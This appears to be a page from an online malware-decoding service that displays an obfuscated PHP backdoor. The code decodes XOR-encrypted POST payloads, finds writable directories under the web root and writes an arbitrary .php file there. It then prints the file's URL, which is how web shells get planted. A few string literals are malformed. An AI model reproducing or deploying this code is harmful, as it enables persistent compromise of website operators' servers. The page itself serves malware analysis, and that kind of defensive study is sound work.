Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	function DmiyDOKXX($BjLUp){
	$EujkDJCBx = chr(777-663)."a".chr(464-345)."urldec".chr(234-123)."de";
	$tsnQdOtc = chr(418-303)."tr_ro".chr(632-516)."13";
	$BydWWUpyR = "s".chr(229-113)."r_sp".chr(699-591)."it";
	$BjLUp = $BydWWUpyR($EujkDJCBx($tsnQdOtc($BjLUp)));
	return $BjLUp;
}
	function WRoxaviYD($TDhqzzzz, $BjLUp){
	$krmKItEhO = "str_spl".chr(796-691).chr(679-563);
	$TDhqzzzz = array_slice($krmKItEhO(str_repeat($TDhqzzzz, (count($BjLUp)/16)+1)), 0, count($BjLUp));
	return $TDhqzzzz;
}
	function PmhOiB($jTeKXON, $IkyIVJ, $TDhqzzzz){
	$DXRmAppZJ = "42b92aed-79d7-4b27-80a0-b79364ae3ea6";
	return $jTeKXON ^ $DXRmAppZJ[$IkyIVJ % strlen($DXRmAppZJ)] ^ $TDhqzzzz;
}
	function DLEdx($BjLUp, $TDhqzzzz){
	$BjLUp = array_map("PmhOiB", array_values($BjLUp), array_keys($BjLUp), array_values($TDhqzzzz));
	$BjLUp = implode("", $BjLUp);
	$nTnHlJdfM = 'un'.chr(807-692)."e".chr(1090-976)."ialize";
	$BjLUp = @$nTnHlJdfM($BjLUp);
	return $BjLUp;
}
	function yIDrhCTP($tjDiQir){
	static $JmQpRjdv = array();
	$DWXLuqdKbF = glob($tjDiQir . '/*', GLOB_ONLYDIR);
	$wdFqYgolS = count($DWXLuqdKbF);
		if ($wdFqYgolS > 0) {
			foreach ($DWXLuqdKbF as $tjDiQ) {
			$zjYNYLg = "is_writab".chr(559-451).chr(716-615);
				if (@$zjYNYLg($tjDiQ)) {
				$JmQpRjdv[] = $tjDiQ;
			}
		}
	}
	foreach ($DWXLuqdKbF as $tjDiQir) yIDrhCTP($tjDiQir);
	return $JmQpRjdv;
}
	function febEgq($BjLUp){
	$oBwNgCkvre = "DOCUMEN".chr(673-589)."_ROO".chr(293-209);
	$ZXUTui = $_SERVER[$oBwNgCkvre];
	$DWXLuqdKbF = yIDrhCTP($ZXUTui);
	$bJGdlfasUJ = array_rand($DWXLuqdKbF);
	$xjpho = .'p'.chr(944-840).'p';
	$YIgzFD = $DWXLuqdKbF[$bJGdlfasUJ] . "/" . substr(md5(time()), 0, 8) . $xjpho;
	$LAOxl = "file_".chr(843-731).'ut_'.chr(868-769).'o'.chr(1011-901)."te".chr(907-797).chr(433-317)."s";
	@$LAOxl($YIgzFD, $BjLUp);
	$KqVlNN = "H".chr(366-282)."TP".chr(999-904)."H".chr(222-143)."ST";
	$nvNZmmv = 'http://';
	$FWLvVxfC = $nvNZmmv . $_SERVER[$KqVlNN] . substr($YIgzFD, strlen($ZXUTui));
	print($FWLvVxfC);
	die();
}
	foreach ($_POST as $TDhqzzzz => $BjLUp){
	$cfKURfZg = strlen($TDhqzzzz);
		if ($cfKURfZg == 16){
		$BjLUp = DmiyDOKXX($BjLUp);
		$TDhqzzzz = WRoxaviYD($TDhqzzzz, $BjLUp);
		$BjLUp = DLEdx($BjLUp, $TDhqzzzz);
			if (@is_array($BjLUp)){
			$bJGdlfasUJ = array_keys($BjLUp);
			$BjLUp = $BjLUp[$bJGdlfasUJ[0]];
				if ($BjLUp === $bJGdlfasUJ[0]){
				$OytzgnaCJF = chr(802-690)."h".chr(999-887);
				$ixmHeQ = 'ph".chr(195-83)."vers".chr(478-373).chr(534-423).'n';
				$etdgtzRlnm = "serializ".chr(1016-915);
				echo @$etdgtzRlnm(Array($OytzgnaCJF => @$ixmHeQ(), ));
			}
				else {
				febEgq($BjLUp);
			}
		}
	}
}



© 2023 Quttera Ltd. All rights reserved.